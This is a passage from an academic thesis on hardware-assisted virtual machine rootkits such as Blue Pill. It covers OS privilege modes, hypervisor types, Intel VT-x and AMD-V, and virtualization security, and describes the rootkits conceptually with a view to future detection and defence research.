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The use of virtual machine (VM) technology has expanded rapidly since AMD 
and Intel implemented hardware-assisted virtualization in their respective x86 
architectures. These new capabilities have resulted in a corresponding 
expansion of security challenges. Hardware-Assisted VM (HVM) rootkits have 
become a credible threat because of these new virtualization technologies and 
have provided an added vector with which root access can be exploited by 
malicious actors. 
 An HVM rootkit covertly subverts an Operating System (OS) running on a 
general purpose x86 based processor and migrates that OS into a VM under the 
control of a malicious hypervisor. This results in the hypervisor possessing an 
effective privilege level of ring -0, a higher privilege level than ring 0, which the 
target OS possesses in either its non-virtualized or virtualized state. 
 The only known successful HVM rootkits are Blue Pill and Vitriol. This 
thesis analyzes and compares the source code for both AMD-V and Intel VT-x 
implementations of Blue Pill to identify commonalities in the respective versions' 
attack methodologies from both a functional and technical perspective. Findings 
conclude that their functional implementations are nearly identical; but their 
technical implementations are very different, primarily because of differences in 
the AMD-V and Intel VT-x specifications. 
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The use of virtual machine technology has expanded rapidly over the last 
decade. Viable virtual machine (VM) solutions have successfully made the 
transition from the domain of theory to the domain of widespread, practical 
application [1]. With this shift has come a new set of challenges which have 
changed the landscape of modern computer science. 
The reasons behind the explosion of virtualization across the computing 
spectrum are numerous. Processors have matured to the point that virtualization 
is capable on a wider range of hardware than ever before. What used to be 
limited to the industrial capability of mainframe and data center scale computer 
systems is now available on even the most modest of desktop machines. These 
processor advances have not just been limited to the evolutionary and 
exponential predictions of Moore’s Law, which have remained consistent; but 
also to critical, revolutionary advances and implementation of virtualization 
technologies within new processor architectures [2]. Both Intel and AMD have 
developed and successfully brought to market dedicated hardware virtualization 
capabilities across a wide range of product lines and have spawned new market 
categories previously unimagined. These advances have allowed an equally fast-
paced and broad ranged expansion of software and operating system (OS) 
technologies specifically targeted to exploit and fill the exciting new void created 
by these ground breaking processor virtualization technologies.  
VMware, Microsoft, Oracle, Citrix, Red Hat, Parallels as well as Internet 
giants Google and Amazon (to name just a few) all have significant virtualization 
products which did not exist just ten years ago. Virtualization capabilities are 
changing the way that computing systems are used and opening up new 
opportunities for consumers and producers alike. Very few companies, research 
laboratories, government organizations, and universities do not use some form of 
virtualization that is vital to their continuity of operations on a daily basis. In fact, 
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many military capabilities are becoming more and more dependent on 
virtualization as a tool to increase effectiveness, survivability, and scalability 
while reducing development costs, time to initial operating capability, and overall 
life cycle maintenance [3]. 
B. PROBLEM BACKGROUND 
With this explosion of virtualization has come a parallel growth of security-
related challenges. Virtualization has opened the doors to many exciting 
possibilities, but at the same time it has presented us with new doors with new 
locks to develop keys for. There is growing interest in taking advantage of new 
hardware assisted virtualization technologies. Most of this interest is constructive 
and non-malicious, but some of it is not and it is opening up a new frontier in the 
battle to achieve root level access. Intel and AMD hardware-assisted 
virtualization technologies have provided an added dimension to the scope with 
which root level access can be achieved by malicious actors. The concept of the 
Virtual Machine Based Rootkit (VMBR) has become reality directly because of 
these new virtualization technologies [1], [4], [5]. 
This thesis will examine and analyze the successful attacks of two 
versions of a specialized hardware-assisted VMBR called Blue Pill in order to 
determine if its attack methodology can be generalized and applied to a wider 
scope of x86 based systems. These two VMBRs are specifically classified as 
Hardware-Assisted Virtual Machine (HVM) rootkits because they exploit Intel VT-
x and AMD-V hardware virtualization extensions to covertly subvert an OS 
running on a general purpose x86 based bare metal processor (i.e., an OS not 
already in a virtualized state). These HVM rootkits subvert the host OS by 
inserting hypervisor code into kernel space, which uses these hardware based 
virtualization extensions to create a new VM and then migrate the entire target 
OS (unchanged) into the newly created guest VM. This is done on the fly without 
requiring any reboot. The new HVM rootkit hypervisor then has complete control 
over all hardware and software resident on the system. If it can be shown that a 
common attack methodology is effective across a wide range of systems 
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employing x86 hardware virtualization technology, then future research can be 
identified which might yield effective preventive and defensive mechanisms. 
Although some research already exists on HVM rootkit detection strategies, 
additional insight in this area might also be gained by identifying a generalized 
attack methodology. 
C. ORGANIZATION OF THESIS 
This thesis is organized into five chapters in addition to this Introduction. 
Chapter II is an introduction to the subject of operating system and virtual 
machine concepts. Chapter III explores the background information necessary to 
understand the security risks and threats posed by virtual machine technology. 
Chapter IV is an analysis of the source code found in both the Intel and AMD 
versions of the Blue Pill HVM rootkit. A brief examination of another HVM rootkit 
called Vitriol is provided; but given the lack of available source code, an in depth 
analysis was not possible. Chapter V provides the conclusion and interpretation 
of the results of the research conducted. Chapter VI provides a brief overview of 
related research and possible future work.  
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This chapter provides a basic overview and introduction of the OS and 
virtualization concepts that are relevant to this thesis.  
A. OPERATING SYSTEM CONCEPTS 
An OS is a set of software components which controls a set of computing 
system hardware resources to provide services to users and applications [6]. 
These hardware resources include one or more processors, volatile and non-
volatile system memory, and input and output devices. This section covers 
several aspects of OSs on which this thesis will focus on as they relate to VM 
execution. 
1. Execution Modes 
Early micro-computer (PC) architectures, such as the Intel 8086 Central 
Processing Unit (CPU), utilized a single level of privilege for all types of code 
executed, regardless of the code purpose. User and application code would 
execute alongside (although not concurrently) with OS code and was able to 
perform all of its functions with the same authority and privilege as the OS. There 
were no restrictions on resource utilization and no boundaries placed between 
the OS and its applications. This was referred to as real mode execution, and it 
was one of the primary reasons why some early computing systems were neither 
stable nor secure. Essentially, the OS had no exclusive control over the system’s 
resources and could not enforce its role as a resource manager. 
The idea of segregating code execution was pioneered in the early 1960s. 
MULTICS was the first known OS to utilize a system of protection rings to 
segregate OS code from application and user level code as a method for 
providing security and stability [7], [8]. This concept was brought mainstream 
beginning with the 80286 microprocessor in 1982. Since the 80286 CPU, Intel 
architecture has been designed around protected mode execution consisting of a 
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four state hierarchy. Each state in this hierarchy is referred to as a protection ring 
with a corresponding execution mode or privilege level (Figure 1). This 
architecture added a boundary between the OS and the other types of code 
executing within the CPU. This boundary serves not to protect an application 
from an errantly coded OS, but rather to protect the OS and other applications 
from a poorly or maliciously designed application [9]. These protection modes are 
implemented at the hardware level and are specifically designed to protect the 
OS kernel and the three main types of resources it controls: memory, I/O ports, 
and the ability to execute certain machine instructions [10]. 
 
Figure 1.  Intel 80x86 protected mode architecture, after [8], [6] 
Modern OSs utilize this system of hardware privilege levels when 
executing code, requiring that certain instructions only be executed within a 
particular privilege level and within a particular memory segment [7]. These 
privilege levels determine what rights and authority a piece of code is granted 
when executing, and these execution modes directly correspond to what mode 
the CPU is placed in by its control unit when executing a code segment. Since 
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these modes are controlled by hardware, they cannot be easily subverted to 
operate in a manner that is inconsistent with the CPU’s design. Ring 3 code 
should never be allowed to execute with the privilege level of ring 0 code. If an 
application needs to accomplish an action which requires ring 0 authority, it must 
request that the action be completed by the kernel on its behalf. Due to this 
restricted access to memory and I/O ports, applications cannot (on their own) 
perform such actions as accessing files, sending or receiving network traffic, 
printing to the screen, getting input from the keyboard or utilizing memory beyond 
what it has been allocated by the kernel [10]. 
Although there exist four modes of execution in the Intel x86 architecture, 
not all OS architectures conform to this model. OS programmers often have to 
make difficult decisions when designing for cross platform compatibility. 
Additionally, writing code to utilize four modes of execution is much more 
complex than writing code to utilize just two modes of execution. For these 
reasons, most OSs only utilize two modes: kernel mode and user mode. There 
are OSs which employ additional modes; but Unix, Linux, and Windows only 
operate within these two modes. In the most basic implementation, these modes 
translate into privileged (kernel) mode and non-privileged (user) mode which are 
both controlled at the hardware level. Throughout this thesis, when referring to 
OSs in general, these modes will be referred to as kernel mode and user mode, 
respectively. It is these two modes that form the basis for security and reliability 
in most modern OSs [11]. 
Modern OSs use abstraction to hide and protect system resources from 
applications. Applications, which are composed of processes, are only allowed to 
execute in user mode. All applications which need to access low level system 
hardware which has not been specifically and exclusively granted to them, must 
request the needed resources from the OS kernel. The OS will then either deny 
these requests or perform the required interaction with the resource on behalf of 
the application and, when complete, return the results of the request to the 
application. This direct interaction between the OS and hardware resources 
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takes place via a device driver written specifically to allow this interaction. The 
OS accomplishes this interaction utilizing kernel mode execution [12]. 
Taking this abstraction concept one step further, forcing applications to 
execute in user mode allows the OS to service multiple applications concurrently 
and independently. Since each application must request system resources from 
the OS, the OS can de-conflict and manage multiple simultaneous requests in 
near real time. Each application may be unaware of the interactions of the OS 
with other concurrently running applications. The OS is the only code element 
(itself often referred to as a process) which is able to maintain knowledge of all 
other process states within the system and change or update that knowledge as 
individual process execution progresses. 
2. Kernel Data Structures–The Process Control Block 
In order for the OS to maintain this knowledge of all process states within 
the system, it must rely on a data structure to store and track this information. 
The data structure it relies on to perform this task is the process table, which in 
turn contains other data structures called Process Control Blocks (PCBs). Each 
user process runs in a severely limited “sandbox” set up by the kernel operating 
in ring 0. This “sandbox” is defined and constrained by a PCB. There is a PCB 
maintained for each process and it contains information about the process’ state, 
program counter, stack pointer, memory allocation, open files, accounting 
information, and scheduling data to name just a few of the attributes recorded. All 
of these attributes are collectively referred to as the process image [6], [8], [13].  
The fact that user level processes do not have access to PCBs (either 
their own or any other process’ PCB) residing within the kernel level is why it is 
essentially impossible, by design, for a user level process to exist beyond the 
bounds placed on it by the kernel. All of the data structures that control resources 
such as memory, open files, assigned devices, etc. cannot be accessed directly 
by a process running in user mode; and once the process terminates execution, 
its PCB is torn down by the kernel [10]. 
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3. Interrupts, Traps, System Calls and Exceptions 
The meanings of the terms interrupts, traps, system calls and exceptions 
will differ slightly depending on the author or source referenced. In order to 
provide a coherent set of definitions for the purposes of this thesis, these terms 
are defined as follows: 
a. Interrupts 
At the most basic level, traps, system calls and exceptions are all 
interrupts; but for the purposes of this thesis interrupts will be further narrowed to 
refer specifically to hardware interrupts. An interrupt is an asynchronous, 
hardware device initiated control transfer. Within computer hardware, interrupts 
come from many different sources including but not limited to the PC’s timer chip, 
keyboard, serial ports, parallel ports, disk drives, CMOS real-time clock, mouse, 
sound cards, and other peripheral devices [14]. Hardware interrupts are used by 
hardware devices to signal to the OS that they need its attention to perform some 
function or task. 
b. Traps 
A trap is usually a software invoked interrupt. It is any type of software 
initiated transfer of control to the OS. The main purpose of a trap is to provide a 
standardized subroutine that various programs can universally call when 
attention is required from the OS, the same way in which hardware devices 
invoke a hardware interrupt. A trap results in a shift of processor state from user 
to kernel mode in order for the OS to perform some set of actions before 
returning control to the program which originated the trap. Depending on the 
context, a trap can also be a system call or an exception as defined below. 
c. System Calls 
A system call is essentially a software interrupt similar to a trap. It is a 
synchronous, program initiated control transfer from user mode to kernel mode. 
When a user mode process needs something done at a higher level of privilege 
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than it has access to, it invokes a system call to ask the kernel to perform those 
functions on its behalf. A system call is essentially an interface mechanism 
between a user mode application and a kernel mode service; which can be 
generally categorized into file system, process, scheduling, inter-process 
communication, networking socket, and miscellaneous [6]. Since a direct call 
cannot be performed into the kernel, a system call is the process that must be 
executed when crossing this user mode / kernel mode boundary [15]. This works 
fine for simple general purpose computing systems; but fundamental 
shortcomings become evident when more specific applications are needed, for 
example, during the execution of some types of virtual machines.  
d. Exceptions 
An exception is a trap which is raised when an abnormal condition occurs 
during program execution. It is a synchronous, program initiated control transfer 
in response to some unexpected event.  As the name implies, an exception is an 
anomalous or unforeseen occurrence which cannot be handled via normal 
processing methods such as a system call and requires special processing within 
the kernel. Exception handling is therefore the process of responding to the 
anomalous event during runtime. This handling often results in changes to the 
normal flow of program execution, and therefore must be provided for by 
specialized programming constructs or computer hardware mechanisms [14]. 
B. VIRTUAL MACHINE CONCEPTS  
As with processor execution modes, virtualization also got its start in the 
early 1960s as an effort to efficiently provide time and application-sharing 
capabilities on mainframe computers to end users. The IBM Watson Research 
Center teamed with MIT to develop the Compatible Time Sharing System 
(CTSS), which also eventually helped lead to the development of MULTICS [16]. 
The concept of time-sharing has grown and evolved over time into the more 
modern concept of virtualization.  It should be noted that the implementation of 
virtualization can take many forms and can occur at many levels within the 
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machine itself including at the instruction set architecture (ISA) level, hardware 
abstraction layer (HAL), OS level (system call interface), or at the application 
level which includes the application programming interface (API), high-level 
language libraries and the application binary interface (ABI) [1]. 
1. What Is a Virtual Machine? 
Virtualization concepts have become prolific and have been applied to 
servers, applications, hardware, storage, programming languages, and many 
other areas of modern day computing. In their foundational 1974 article “Formal 
Requirements for Virtualizable Third Generation Architectures”, Gerald Popek 
and Robert Goldberg state that a virtual machine (VM) is “an efficient, isolated 
duplicate of a real machine” [17]. A more technical definition can best be 
summarized as follows: “Virtualization is a framework or methodology of dividing 
the resources of a computer into multiple execution environments, by applying 
one or more concepts or technologies such as hardware and software 
partitioning, time-sharing, partial or complete machine simulation, emulation” 
[18]. Even though there are many types of virtualization methods, for the 
purposes of this thesis, virtualization can be defined in simplistic terms: 
virtualization is an abstraction layer between the hardware or OS itself and the 
code designed to perform a specific function.  
2. What Is a Virtual Machine Monitor? 
Hardware abstraction is enabled by a software component called a Virtual 
Machine Monitor (VMM) which fills the role of managing (or hosting) one or more 
VMs. VMMs are also sometimes referred to as hypervisors depending on the 
implementation. A VMM can itself be partially hosted by an underlying OS or can 
serve as the OS itself in addition to its abstraction functions. Figure 2 depicts this 
abstraction of functionality in very simple terms, however it should be noted that 
there exists a very wide variation in real-world implementations of VMMs; but 
regardless of the implementations, it has become widely accepted that a true 
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VMM must adhere to the three VMM properties established by Popek and 
Goldberg: equivalence, efficiency, and resource control [17]. 
 
Figure 2.  General depiction of multiple OS virtualization. 
a. VMM Properties 
(1) Equivalence: a VMM must provide an essentially identical 
execution environment to a guest as would be experienced if it was running on 
actual hardware. Timing effects induced by the VMM would be the only 
exception. This is also alternatively referred to as the fidelity property. 
(2) Efficiency: a VMM must be efficient from the perspective that most 
of the virtual processor’s execution be done on the physical processor itself, 
without excessive use of software based emulators or interpreters. Additionally, 
the VMM must only be required to intervene on a small percentage of the guest 
OSs instructions. This is also alternatively referred to as the performance 
property. 
(3) Resource Control: a VMM must be in control of real hardware 
resources such as memory and peripherals, and specifically manage all of the 
resources that its guest OS utilizes. This is also alternatively referred to the 
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b. VMM Types 
VMMs can be generally classified into one of two basic formal types and 
one informal type depending on the implementation of VMM itself (described in 
more detail in Sections b, c and d below). Popek and Goldberg [17] established 
the formal requirements of what is and is not technically a VMM. Since their 
foundational article, qualifying VMMs have been formally classified as either a 
Type 1 or Type 2 VMM. It should be noted that the overall user experience in 
each of these VM implementations is the same; it is only the technical 
implementation of the abstraction and virtualization function which remains 
distinctive. The VM itself is an environment created by the VMM and should be 
indistinguishable to the user from any other similar non-virtualized environment.  
A third informal hybrid classification exists for those which fail to meet the strict 
criteria of these two formal types.  Figure 3 graphically depicts these three types 
of virtualization methods. 
It is the VMM’s responsibility to present and manage a virtualized, 
individual, and abstracted hardware platform for each virtual OS, which may or 
may not be representative of the actual hardware the VMM or host OS is resident 
on. Each virtual OS can be a completely different instantiation and perform 
unrelated functions, but each one executes in real time within its own instance of 
VMM managed resources. Additionally, it is the VMM’s responsibility to ensure 
that each virtual machine instance has no visibility or awareness of other virtual 
OSs running in parallel on the same physical hardware platform. 
Although the terms “VMM” and “hypervisor” have been used 
interchangeably since the 1960s, the term “hypervisor” is sometimes used more 
informally to describe of the function of hardware resource manager which 
occurs at the hardware interface, in essence the kernel of the VMM [21]. It is 
important to point out that a VMM has both a virtual machine manager function 
and a hypervisor function that are performed. Although in most cases the terms 
are still used interchangeably, in a few cases the implementation of the 
hypervisor function itself determines the classification or type of the VMM. Unless 
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otherwise stated, this thesis will use the term “VMM” and “hypervisor” 
interchangeably to refer to both the virtual machine manager function and 
hardware interface function collectively. 
(1) Type 1 VMM. Type 1 VMMs are also called native or bare metal 
VMMs since they run directly on the hardware itself with no other host OS to rely 
on to manage physical resources. Type 1 VMMs must perform all of the functions 
of an OS by managing the physical hardware resources (hypervisor role) in 
addition to its abstraction and VM hosting functions. XEN, KVM, VMware 
ESX/ESXi, and Microsoft Hyper-V are examples of Type 1 VMMs [5]. 
(2) Type 2 VMM. Type 2 VMMs are also called hosted VMMs due to 
the fact that they rely on a separate and discrete host to manage physical 
resources on its behalf. Type 2 VMMs are dependent on a separate piece of 
code that runs in kernel mode within the host OS and performs the hypervisor 
function as in a Type 1 VMM. This separate host is typically a conventional OS 
environment running on physical hardware (bare metal). QEMU, VMware Player, 
VMware server, Oracle VirtualBox; Microsoft Virtual PC and Virtual Server are 
examples of Type 2 VMMs [5].  
(3) Hybrid Virtual Machine System.  Although not formally regarded as 
a VMM type, there are many VM implementations that have emerged which do 
not fit neatly into either a Type 1 or Type 2 VMM classification. Implementations 
of this hybrid type are not formally labeled as VMMs, but rather Hybrid Virtual 
Machine Systems (HyVMs) [17]. (Popek and Goldberg refer to Hybrid VMs as 
HVMs, but modern references to hardware-assisted virtual machines also use 
the acronym HVM, therefore this thesis will use HyVM to refer to hybrid virtual 
machines as defined in [17] and HVM to refer to hardware-assisted virtual 
machines in order to stay consistent with the newer convention.)  The Hybrid 
type has evolved into a “catch all” category to classify every type of virtualization 
that fails one or more of Popek and Goldberg’s criteria. These Implementations 
can best be described as a hybrid between the Type 1, Type 2 and other VM 
methods since they usually employ elements from each and have unique 
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characteristics which prevent them from behaving according to the accepted 
academic models of Type 1 and 2 VMMs. Linux KVM and Bhyve are examples of 
HyVMs, however it can also be argued that earlier versions of VMware 
Workstation and Fusion more closely fit this Hybrid Type rather than a Type 2 
VMM due to the fact that they utilized significant software-based, interpreted 
virtualization to insert traps where VMM action was needed [1]. 
 
Figure 3.  General depiction of Type 1, 2 VMMs and HyVMs 
3. Intel VT-x and AMD-V 
The method that Popek and Goldberg describe in their article has become 
known over time as classic virtualization or “trap-and-emulate,” so much so that a 
hardware architecture’s “virtualizability” has been almost exclusively equated 
directly with its ability to perform trap-and-emulate functions [20]. Under the trap-
and-emulate virtualization construct, a VMM executes guest OSs directly in user 
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instruction on the state of the virtual machine.  This method satisfies all of Popek 
and Goldberg’s criteria for virtualizability; however, it could not be implemented at 
the hardware level on the x86 architecture until 2006 when Intel and AMD added 
hardware virtualization extensions into their respective x86 ISAs in the form of 
Intel VT-x and AMD-V (Appendicies A and B, respectively).  (AMD-V was named 
AMD SVM at its initial release and many references still make use of this older 
name.) Prior to these extensions there was no way for the processor to detect or 
handle the sensitive context switching instructions from the VMM required to 
support the virtualization requirements of the guest OS. Intel VT-x added two 
context execution modes specifically to support virtualization: VMX root operation 
and VMX non-root operation for the VMM and guest OSs, respectively [22].  
AMD-V similarly discriminates between guest and host execution modes. 
Although not actually a physical processor mode of execution, VMX root mode 
and AMD-V host modes of operation are frequently referred to as execution 
within ring minus zero (ring -0) or ring minus one (ring -1) to denote a lower 
number (and thus a higher privilege level) than ring 0. 
Intel VT-x and AMD-V opened the virtualization possibilities for the x86 
architecture significantly. Previous to these x86 ISA additions, classic trap-and-
emulate virtualization had been mostly limited to exotic or expensive large scale 
computer systems because it was not physically possible to implement classical 
virtualization on x86 based systems. 
4. Software Virtualization through Interpretation 
Prior to the availability of Intel VT-x and AMD-V, software based 
virtualization as pioneered by VMware and Microsoft was the only means of 
virtualizing the x86 platform. Early versions of VMware Workstation and Virtual 
PC utilized software interpretation to bring virtualization mainstream and to the 
x86 platform. But x86 software interpreted virtualization had both practical and 
technical limitations, specifically it failed characteristics two and three from Popek 
and Goldberg. Despite this lack of true trap-and-emulate functionality, software 
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virtualization techniques continued to mature up to the release of Intel VT-x and 
AMD-V and became very effective and practical paths to virtualization in many 
market segments. Even upon the release of Intel VT-x and AMD-V hardware 
virtualization extensions, software virtualization outperformed early hardware 
trap-and-emulate solutions on the x86 platform due to significant efficiencies 
regained through the use of binary translation when coupled with an inefficient 
software interpreter [20]. 
5. Process vs. System Virtualization 
It is important when examining VM technology to distinguish between 
process and system virtualization. VM technology discussed so far has been 
related to system VMs. System VMs utilize either a VMM or HyVM (as defined 
above) between the physical hardware and guest OS which emulates the 
physical hardware’s ISA to the guest OS. A system VM provides a complete and 
persistent system environment supporting an OS and its processes in order to 
provide real time access to real or virtual hardware resources.  Conversely, 
process VMs consist of virtualizing software on top of the OS and utilize the API, 
high-level language libraries and the ABI to provide an individual process with the 
OS provided resources it needs to execute. A process VM is dynamically created 
in runtime when the process is created and it terminates when the process 
terminates [23]. The key differentiator is what is presented to a guest: a process 
VM emulates an API to an individual process within an OS, whereas a system 
VM emulates an ISA to an entire guest OS and its processes [24]. Figure 4 
depicts this difference in virtualization schemes between the ISA and API layers 




Figure 4.  General depiction of different levels that virtualization can occur 
6. Programming Language Virtual Machines 
One application where process virtualization is particularly well suited is in 
programming languages, which are often implemented using process VMs for 
several reasons, most importantly portability and isolation. They are portable 
because of the fact that a program on any platform X can be run on any other 
platform Y if both X and Y both support the same programming language virtual 
machine implementations. Additionally, since applications written and executed 
within the programming language virtual machine and are not allowed to run 
outside of a protected resource area (a “sandbox”), they are isolated from the 
rest of the code resident on the computer. The result is a more secure computing 
or development environment which is protected from whatever bad behavior may 
be manifested by the application being developed within the programming 
language virtual machine [18].  
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There are many integrated development environments which follow this 
model, but the two most well-known are probably Microsoft’s .NET Framework 
and Oracle’s Java.  
Microsoft’s .NET Framework is an integral Windows component that 
supports developing and running applications and XML based web services on 
the Windows OS family of platforms. The .NET common language runtime (CLR) 
serves as a VM manager responsible for the code that runs within it. 
Management functions include a wide range of tasks including memory 
management, thread execution, code execution, code safety verification, 
compilation, and other system services [25]. 
Whereas the .NET framework is limited to Windows based OSs, the Java 
programming language was designed to allow application developers the 
capability to “Write Once, Run Anywhere” (WORA) across many different OSs. 
Java uses a virtualization environment called the Java Runtime Environment 
(JRE) to manage all instances of Java code running on a system. The JRE is 
responsible for creating a common virtualization space across a wide range of 
different OSs for which code would ordinarily not be compatible across.  Once a 
Java program is compiled into byte code, it can be run on any platform for which 
the JRE is compiled and installed.  
7. VM Data Structures–Control Blocks and Control Structures 
Virtual Machine Control Blocks (VMCBs) or Virtual Machine Control 
Structures (VMCSs) are data structures analogous to PCBs in an OS kernel. 
AMD refers to it as a VMCB in its V specification whereas Intel refers to this data 
structure as a VMCS in its VT-x specification. These data structures describe a 
virtual machine by specifying the parameters of its execution environment. These 
environment parameters include trap, intercept and exception conditions; 
instructions permitted; memory resources; registers; execution pointers; and the 
guest state of the VM OS [26], [27].   
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8. Hypercalls 
Whereas most functions that occur within a VM are intended to be 
autonomous as if the OS is running on its own hardware, there are infrequent 
situations where a communication channel must exist between a hypervisor and 
the VMs that it supports. Hypercalls provide this communication channel and are 
analogous to system calls discussed earlier. Where a system call is essentially 
an interface mechanism between a user mode application and a kernel mode 
service, hypercalls are an interface mechanism between a VM guest OS and its 
hypervisor [28]. 
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III. SECURITY ASPECTS OF VIRTUAL MACHINES  
A. TRUSTED COMPUTING BASE 
The kernel execution mode, or ring 0 mode, of modern CPUs provides 
protected, privileged execution of sensitive instructions; but it does not 
completely solve the problem of limiting that execution to code which is 
trustworthy from a security standpoint. There can still be code which behaves in 
an unpredictable or insecure manor. In a perfect OS, all code that executes 
within kernel mode should be trustworthy and be expected to behave only in a 
secure and predictable manner. In reality this is not the case because the 
security testing and verification of new code is an expensive, lengthy and 
exhaustive process which grows exponentially more difficult and expensive as 
the code base increases in size and complexity. In order to achieve some level of 
assured security within reasonable time, cost and effort constraints, a smaller 
subset of kernel mode code may be identified with which to apply this level of 
rigorous testing and verification. This core of validated code then becomes what 
is known as the trusted computing base (TCB) and it typically does not include 
the entire kernel mode code base. Most OSs have TCBs which are reduced in 
size and complexity as much as possible in order to increase the inherent 
security as much as possible.  
The concept of a TCB was first established formally in an article written by 
Grace Nibaldi in 1979 [29]. In 1981, John Rushby published another article on 
the concept where he defined the TCB to be “the combination of kernel and 
trusted processes” [30]. Taken into a broader scope, a TCB is the set of all 
hardware, firmware and software in a computer system that is verified trustworthy 
and is responsible for enforcing a system’s unified security policy [31].  
VMMs are typically not part of an OS’s TCB, and therefore neither are the 
VMs which execute on them. Due to the fact that most VMMs operate in kernel 
mode, they themselves often go through rigorous testing and verification and 
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have some portion of core code which is considered a TCB, separate from the 
OS’s TCB. It should be noted that the type of VMM (Type 1, Type 2, or HyVM) 
has no impact on the security quality of its respective TCB. As with OS TCBs, the 
quality of the VMM TCB is entirely dependent on its design, size, complexity and 
the testing rigor applied to its code base [31]. 
B. VIRTUALIZATION AS A MEANS TO INCREASE SYSTEM SECURITY 
VM technology has long been heralded as a significant advance to 
security because of the isolation of the VM itself and the natural sandboxing that 
occurs via the VMM. Each VM runs on the same physical machine without, 
ideally, the ability to see or influence any other VM running concurrently on that 
physical machine. Additionally, introspection can be accomplished within the 
guest VM by the VMM or HyVM allowing even greater control over execution. 
This isolation property provides the opportunity to prevent a wide range of 
attacks. Although the use of hardware-based virtualization has been expanding, 
security mechanisms specific to hardware virtualization have not been keeping 
pace because of the difficulty of identifying and intercepting malicious instructions 
before they are passed to the CPU for execution.  
C. HARDWARE-BASED VMM VS. SOFTWARE-BASED HYVM SECURITY 
From a security standpoint, software-based security is still preferred 
because software based HyVMs can trap, inspect and exercise control over 
guest operating systems instructions before they ever make it into hardware 
much more readily and efficiently than can current hardware-based VMM 
solutions [32]. Flexible security mechanisms can also more easily and quickly be 
implemented within software-based HyVMs. Additionally, since execution of the 
guest is emulated within a software-based HyVM, the state of the physical 
hardware system is not effected and the HyVM never has to relinquish physical 
hardware execution control to a guest OS. 
Hardware-based VMMs must trap and handle any sensitive instruction 
from a guest OS, similar to software-based HyVMs; but they lack the same level 
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of ability to inspect and exercise control over guest operating systems that 
software-based HyVMs possess. It is also relatively difficult to adapt and modify 
VMM code in response to malware threats relative to software-based HyVMs 
[32]. The fact that VMMs have direct control over hardware resources presents 
another security challenge in that without the presence of robust security 
mechanisms, the risk of malicious code subverting the VMM’s hardware control 
is higher than a software-based HyVM where an underlying OS has robust 
security mechanisms in place.  
 Performance suffers in both virtualization methods because of the 
relatively large overheads required to perform the inspection and analysis of 
instructions prior to execution. Although this performance hit is typically more 
severe in software-based HyVMs, it can still have a significant effect in VMMs as 
well. In a software-based HyVM, the state of the hardware is never changed 
since all traps occur as system calls within the host OS and guest OS 
instructions are interpreted and passed on to the CPU as though they are coming 
directly from the host OS itself. In a hardware-based VMM, the state of the 
hardware is changed every time control of the physical machine is passed from 
the VMM to the guest OS [19]. At every state change, CPU cycles are expended 
to save the state of the VMM, change the appropriate registers and counters, 
then load the state of the Guest OS, execute the next series of instructions for 
the guest OS, save the state of the guest OS, change back the appropriate 
registers and counters, and finally load the last saved state of the VMM. Adding 
security mechanisms and malware inspection functions to the VMM can 
significantly increase the execution overhead of the VMM when compared to a 
software-based HyVM. 
D. VIRTUALIZATION AS A MEANS OF OBFUSCATION 
Although techniques are not as straightforward as detecting other types of 
code existent within a system, the presence of virtualization can be detected. 
What is difficult to analyze and determine however is the code that is being 
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executed within the VM itself unless this capability is purpose designed into the 
VMM up front. This difficulty is because virtualized code is resistant to both static 
and dynamic code analysis techniques [33]. This resistance provides a natural 
obfuscation to the VM that other code execution methods do not possess. Static 
code analysis attempts to identify code prior to execution (or compilation) that 
when executed could produce undesired effects within the system. Such 
undesired effects can include memory resource leaks, buffer overflows or any 
other number of security or performance issues. Dynamic code analysis attempts 
to determine the result of code execution in real time, as the code is being 
executed by the system.  
The code emulation and interpretation that VMs undergo as they are 
executed by their respective VMM adds multiple layers of complexity which can 
be difficult to observe activity through or analyze in real time (Figure 5). In order 
to analyze and determine what a VM code’s purpose is, a complex reverse 
engineering process involving at least two stages must be undertaken. The first 
stage reverse engineers the interpreter or emulator in order to discover the VM’s 
individual byte code instructions. The second stage then reverse engineers the 
byte code instructions to reveal the underlying logic of the source code [33]. This 
becomes significantly more difficult if the interpreter is unfamiliar, does not follow 
expected or assumed techniques, or employs multiple layers of interpretation.  
Observation of activity from the opposite perspective is just as difficult, if 
not more so. A VM has very little inherent capability with which to observe 
actions taken by its VMM. If there exists malicious code at the hypervisor level, 
then malware detection at the VM level would be ineffective at best in being able 
to detect it. Furthermore, any mitigation actions could not be effectively 
accomplished from within the VM itself because of its lower privilege level relative 
to the VMM. 
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Figure 5.  Code observability between VMs, VMM, and Host OS 
E. VIRTUAL MACHINE-BASED ROOTKITS 
As much as VM technology has made possible more secure 
environments, it also has drawbacks which can be maliciously exploited. Virtual 
machine-based rootkit (VMBR) research has been ongoing for several years by a 
variety of legitimate and malicious actors. Most of the results of this research 
have been either too theoretical or too impractical to be considered serious 
security threats, but Intel VT-x and AMD-V have changed that dynamic. These 
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A Virtual OS has no visibility outside of its VM, however a VMM may have 
limited visibility within a VM with which to observe code activity. 
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technologies have provided new methods for systems to be exploited and new 
vectors to introduce such threats. “Hyperjacking” has become the new broadly 
used term for actions taken by a VMBR to covertly insert a VMM under an OS by 
migrating the OS from physical execution to virtual execution undetectably, either 
on boot up or while the system is running [34]. 
1. SubVirt 
SubVirt was a Microsoft sponsored proof of concept project and is 
generally credited with being the first successful VMBR. SubVirt does not utilize 
Intel VT-x or AMD-V but rather must rely on another commercial software 
virtualization technology such as VMware or Virtual PC in order to gain VMM 
level control of the OS [35]. Since SubVirt is not designed to organically utilize 
hardware based VM technology, it must resort to software based solutions which 
require elaborate and complicated code in order to implement full hardware 
functionality in a transparent manner. The resulting code base is therefore too 
large to be considered a practical and effective VMBR [36]. Additionally, due to 
its software requirements, it requires a reboot after introduction onto a system 
and therefore cannot be implemented transparently on the fly. But nevertheless, 
SubVirt accomplished Microsoft’s proof of concept goals of subverting both 
Windows XP and Linux target systems by placing them in virtual environments, 
demonstrating the ability to perform malicious activity, and finally exploring 
methods of detection and prevention [35].  
2. Blue Pill 
Although SubVirt was the first successful implementation of a VMBR, Blue 
Pill was the first effective instance of a hardware-assisted VMBR [36]. For clarity 
of nomenclature purposes, it should be noted that a hardware-assisted VMBR is 
the same as an HVM rootkit. The term HVM rootkit will be used throughout the 
remainder of this thesis to refer to a hardware-assisted VMBR. While SubVirt 
utilized commercial virtualization technology such as VMware or Virtual PC in 
order to gain VMM level control, Blue Pill fully exploits AMD-V (and in later 
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versions Intel VT-x) to create a VMM underneath an existing OS and migrate that 
OS into a guest state on the fly without requiring a system reboot [36], [37], [38]. 
